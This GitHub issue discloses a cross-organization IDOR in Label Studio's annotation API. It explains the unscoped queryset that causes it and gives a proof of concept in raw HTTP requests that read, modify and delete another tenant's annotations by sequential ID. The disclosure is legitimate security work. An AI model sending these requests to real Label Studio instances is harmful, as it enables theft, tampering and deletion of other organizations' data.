Skip to content

IDOR in /api/annotations/{id}/ allows cross-organization read, modify, and delete of annotation data #9796

Description

@geo-chen

reported privately on 24 May 2026 but no response: https://github.com/HumanSignal/label-studio/security/advisories/GHSA-w4mg-6m8q-6723

Summary

Label Studio's AnnotationAPI class exposes the /api/annotations/{id}/ endpoint with an unfiltered queryset (Annotation.objects.all()). Any authenticated user, regardless of organization membership, can read, modify, and delete annotations belonging to other organizations by supplying the sequential integer annotation ID directly. The task-scoped endpoint (/api/tasks/{id}/) correctly enforces organization boundaries, but the annotation-direct endpoint does not, creating an exploitable discrepancy.

Details

Label Studio implements multi-organization tenancy: each project belongs to one organization, and users are members of specific organizations. The platform correctly restricts task access in TaskAPI.get_object() via:

Task.objects.filter(project__organization=self.request.user.active_organization)

However, AnnotationAPI at label_studio/tasks/api.py line 635 defines:

class AnnotationAPI(generics.RetrieveUpdateDestroyAPIView):
    ...
    queryset = Annotation.objects.all()

There is no override of get_queryset() that scopes annotations to the requesting user's organization. DRF's default get_object() fetches the annotation by primary key from Annotation.objects.all() and only applies the view-level permission_required check, which resolves to rules.is_authenticated (any logged-in user passes). No object-level permission checks against organization membership are performed.

The same unscoped Annotation.objects.all() pattern also appears in AnnotationConvertAPI at line 1076 of the same file.

Because annotation IDs are sequential integers starting from 1, an attacker can enumerate all annotations across every organization by incrementing the ID.

Root cause file: label_studio/tasks/api.py, line 645.

PoC

Prerequisites: Two separate Label Studio organizations exist. Organization A has a project with annotations. The attacker has a valid session in Organization B (a different organization with no access to Organization A's data).

Step 1: Confirm that the task endpoint correctly blocks access (expected 404):

GET /api/tasks/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>

HTTP/1.1 404 Not Found
{"detail":"No Task matches the given query."}

Step 2: Read Organization A's annotation directly (unexpected 200):

GET /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 1,
  "result": [{"type": "choices", "value": {"choices": ["Positive"]}, ...}],
  "created_username": " admin@org-a.com, 1",
  "completed_by": 1,
  "project": 1,
  ...
}

Step 3: Modify Organization A's annotation (unexpected 200):

PATCH /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>
Content-Type: application/json
X-CSRFToken: <csrf_token>

{"result": [{"from_name": "label", "to_name": "text", "type": "choices", "value": {"choices": ["Negative"]}}]}

HTTP/1.1 200 OK
{"id": 1, "result": [{"from_name": "label", "to_name": "text", ...}], "updated_by": <org_b_user_id>, ...}

Step 4: Delete Organization A's annotation (unexpected 204):

DELETE /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=<org_b_session>
X-CSRFToken: <csrf_token>

HTTP/1.1 204 No Content

Verification: After deletion, the admin of Organization A sees:

GET /api/annotations/1/ HTTP/1.1
(Organization A session)

HTTP/1.1 404 Not Found
{"detail": "No Annotation matches the given query."}

Impact

Any authenticated user in any organization can:

  1. Read all annotation results (labeling decisions, model training data) from every organization on the Label Studio instance, including proprietary datasets used for competitive AI model training.
  2. Modify annotation results in other organizations' projects, corrupting training data and model quality metrics silently (the modification shows updated_by as the attacker's user ID in a different org, which is not surfaced in standard UI views).
  3. Permanently delete annotations from other organizations' projects, causing irreversible data loss.

In multi-tenant SaaS deployments of Label Studio, this allows any subscriber to read, tamper with, and destroy all other subscribers' annotation work. The annotation IDs are sequential and easily enumerable.

affected version: 1.23.0

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions